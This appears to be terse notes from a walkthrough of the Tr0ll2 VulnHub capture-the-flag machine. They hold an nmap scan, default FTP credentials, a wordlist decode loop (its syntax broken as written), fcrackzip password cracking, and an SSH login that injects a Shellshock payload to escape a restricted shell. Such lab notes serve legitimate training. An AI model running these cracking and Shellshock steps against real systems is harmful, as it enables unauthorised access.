FCRACKZIP

SSH SHELLSHOCK RESTRICTION

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
|   2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_  256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:A0:70:48 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel
/index (Status: 200)
/robots (Status: 200)
/server-status (Status: 403)
```

FTP Tr0ll Tr0ll

```
root@akg:/home/akg/Desktop/vulnhub/troll2# curl http://192.168.2.126/y0ur_self/answer.txt > answer.txt

for i in $cat answer.txt; do base64 -d $i;done > pass.txt

root@akg:/home/akg/Desktop/vulnhub/troll2# fcrackzip -u -D -p pass.txt lmao.zip

ssh noob@192.168.2.126 -i noob -t '() { :;}; /bin/bash'
```